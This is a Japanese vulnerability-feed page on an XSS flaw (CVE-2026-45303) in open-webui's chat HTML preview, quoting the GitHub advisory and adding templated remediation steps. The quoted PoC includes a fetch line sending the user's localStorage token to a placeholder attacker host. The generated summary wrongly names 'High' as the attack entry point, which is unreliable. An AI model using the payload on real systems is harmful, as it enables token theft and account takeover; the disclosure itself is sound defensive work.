open-webui に クロスサイトスクリプティング (CVE-2026-45303)
概要
open-webui に XSS (クロスサイトスクリプティング) (CVE-2026-45303) が存在。機密情報が外部に流出する可能性があります。High 経由で攻撃可能。対策: 0.6.5 以上に更新。
原文の説明
取得元が公開している説明をそのまま載せています (多くは英語)。
Summary
Through the HTML rendering view, scripts can be injected and executed.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:
sandbox="allow-scripts allow-forms allow-same-origin"
This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.
PoC
If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:
Create an HTML form and insert the following script into the document:
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`
By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.
Impact
Fundamentally, this is a Self-XSS attack…
出典: GitHub Security Advisories (Global) NVD GitHub Advisory
自動生成の要約
取得元のデータ (CVSS・CWE・影響バージョンなど) から SecPulse が定型文で組み立てた要約です。AI は使っていません。正確な内容は下の原文と参照URLで確認してください。
open-webui という製品で、CVE-2026-45303 という番号がついた弱点 (脆弱性) が見つかりました。
悪い人がインターネット越しに High のような特定の入り口を狙うことで、製品の中を不正に操作できてしまいます。
機密情報が外部に流出する可能性があります。重要度は CVSS スコア 7.7/10 です。
対策: open-webui を 0.6.5 以上に更新してください。
心配なら、システム担当者や製品の公式サイトで「open-webui CVE-2026-45303」を検索してください。
CVE-2026-45303 (open-webui) — CWE-79 / CVSS v3 7.7
攻撃ベクター: ネットワーク経由 (リモート攻撃可)
脆弱箇所: High
修正バージョン: 0.6.5 (即時適用推奨)
対応方針: 1) SBOMで影響バージョン横断確認, 2) ステージング検証→本番更新, 3) WAF/プロキシで該当エンドポイントを監視, 4) ログでIOC調査。
参考: 当ページの『参照URL』の GHSA / vendor advisory / patched release を参照。
open-webui に クロスサイトスクリプティング (XSS) (CWE-79) があります。攻撃者は High を経由して脆弱な処理に到達できます。
open-webui の影響バージョンはベンダーのアドバイザリで確認してください。攻撃箇所: High。
重要度: 重要 (CVSS 7.7/10)。機密情報が外部に流出する可能性があります。
0.6.5 に更新してください。
修正版が未提供時は、影響機能の無効化・WAFルール・ネットワークACLでの遮断を検討。
Webサーバ・プロキシ・WAFログで該当CVEのIOCに合致する不審リクエストを検索。SBOM/依存ファイルで影響バージョンを横断確認。
対応アクション
SOC/SREチームが順番に実行すべき具体的なステップとコマンド例
-
1影響範囲の特定 identify
grep -r 'open-webui' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
open-webuiを grep し、稼働しているサービス・バージョンを把握する。 -
2パッチ適用 patch
Upgrade open-webui to 0.6.5ステージング環境で 0.6.5 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3事後検証 verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
影響パッケージ
参照URL
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com